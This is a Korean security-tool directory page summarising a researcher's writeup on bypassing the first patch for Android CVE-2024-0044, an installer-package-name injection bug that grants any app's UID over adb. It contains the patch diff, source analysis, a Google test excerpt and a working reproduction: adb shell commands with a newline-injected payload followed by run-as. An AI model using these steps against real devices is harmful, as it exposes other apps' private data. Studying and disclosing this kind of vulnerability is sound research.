Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-0044 — CVE-2024-0044의 초기 패치를 우회하기 위한 개념 증명 및 분석 자료로, 설치 프로그램 패키지 이름 주입을 통해 ADB에서 임의 앱 UID로 권한 상승을 가능하게 하는 Android 프레임워크 취약점입니다. | Kitploit
도구/GitHubGitHub/canyie/cve-2024-0044
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

CVE-2024-0044의 초기 패치를 우회하기 위한 개념 증명 및 분석 자료로, 설치 프로그램 패키지 이름 주입을 통해 ADB에서 임의 앱 UID로 권한 상승을 가능하게 하는 Android 프레임워크 취약점입니다.

저장소 보기
1802982년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-0044/A-307532206는 Android 프레임워크의 높은 심각도 취약점으로, adb 접근 권한이 있는 공격자가 임의 앱의 UID로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 Meta Red Team X의 Tom Hebb가 처음 발견했습니다. 인터넷에서 이 글 및 이 글과 같이 이 취약점을 악용하는 많은 문서를 찾을 수 있습니다. 자세한 내용은 이 블로그를 확인하세요: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

이 취약점에 대한 패치는 2024년 3월 Android 보안 게시판에 포함되었지만, 저는 이제 패치를 우회하는 익스플로잇을 고안했습니다. 새 패치는 동일한 CVE ID인 CVE-2024-0044로 2024년 10월 Android 보안 게시판에 포함되었습니다. 보안 패치 수준이 2024-10-01 이전인 Android 12-13 기기는 이 문제에 취약합니다.

이 저장소에는 최소 재현 가능한 PoC와 분석 문서(writeup)가 포함되어 있습니다.

원래 패치의 문제점은 무엇인가?

패치는 PackageManagerService에 전달된 설치자 패키지 이름에 대한 검증을 추가했습니다:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

params.installerPackageName이 유효한 Android 패키지 이름이 아니면 null로 재설정되는 것을 볼 수 있습니다. 그러나 다음 줄에서 params.installerPackageName이 null이거나 유효하지 않을 때 requestedInstallerPackageName은 installerPackageName이 될 수 있습니다.

installerPackageName이란 무엇인가?

패치가 추가된 createSessionInternal 메서드를 살펴보겠습니다:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

installerPackageName은 param에서 오지 않는 별도의 인자임을 알 수 있습니다. 원래 패치는 params.installerPackageName을 검증했지만 installerPackageName을 검증하는 것을 잊었습니다.

재현

Tom Hebb의 블로그에 있는 원본 익스플로잇 코드를 사용하여 재현할 수 있습니다. 이 저장소에는 최소 재현 가능한 PoC도 포함되어 있습니다. 제 PoC를 테스트하려면 빌드하고 생성된 apk를 /data/local/tmp/poc.apk로 푸시한 다음 adb shell로 다음 코드를 실행하세요:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

<victim uid>를 대상 앱의 UID로 바꾸세요.

게임을 다시 하려면 adb uninstall top.canyie.cve_2024_0044를 실행하고 위 코드를 다시 실행하세요.

어떻게 두 번이나 발생했나?

문제가 명백해 보이는데 어떻게 모든 사람의 눈을 피해갈 수 있었을까요?

Google은 이 문제가 수정되었는지 확인하기 위해 테스트를 추가했습니다:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });
도구 다운로드